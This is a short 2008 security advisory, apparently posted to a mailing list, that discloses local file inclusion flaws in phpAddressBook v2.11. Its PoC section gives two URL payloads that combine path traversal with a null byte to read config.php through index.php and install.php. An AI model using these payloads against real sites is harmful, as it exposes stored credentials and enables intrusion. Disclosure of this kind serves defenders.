phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities

From: <Guns_at_0x90.com.ar>
Date: 22 Mar 2008 12:21:46 -0000

('binary' encoding is not supported, stored as-is)        _____ ____ _____
      / _ \ /\ /\ / _ \ / _ \
      | | | | \ \/ / ||_| | | | | |
      | | | | \ / \_ | | | | |
      | |_| | / \ __\ | | |_| |
      \_____/ / /\ \ |____/ \_____/
              \/ \/

[~] phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities

[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip

[~] Founder: 0x90

[~] HomePage: www.0x90.com.ar

[~] Public: http://0x90.com.ar/Advisory/20080321.txt

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] PoC:

   http://[host]/[path]/index.php?skin=/../config.php %00
   http://[host]/[path]/install.php?skin=/../config.php %00

Greetz: ...
Received on Mar 22 2008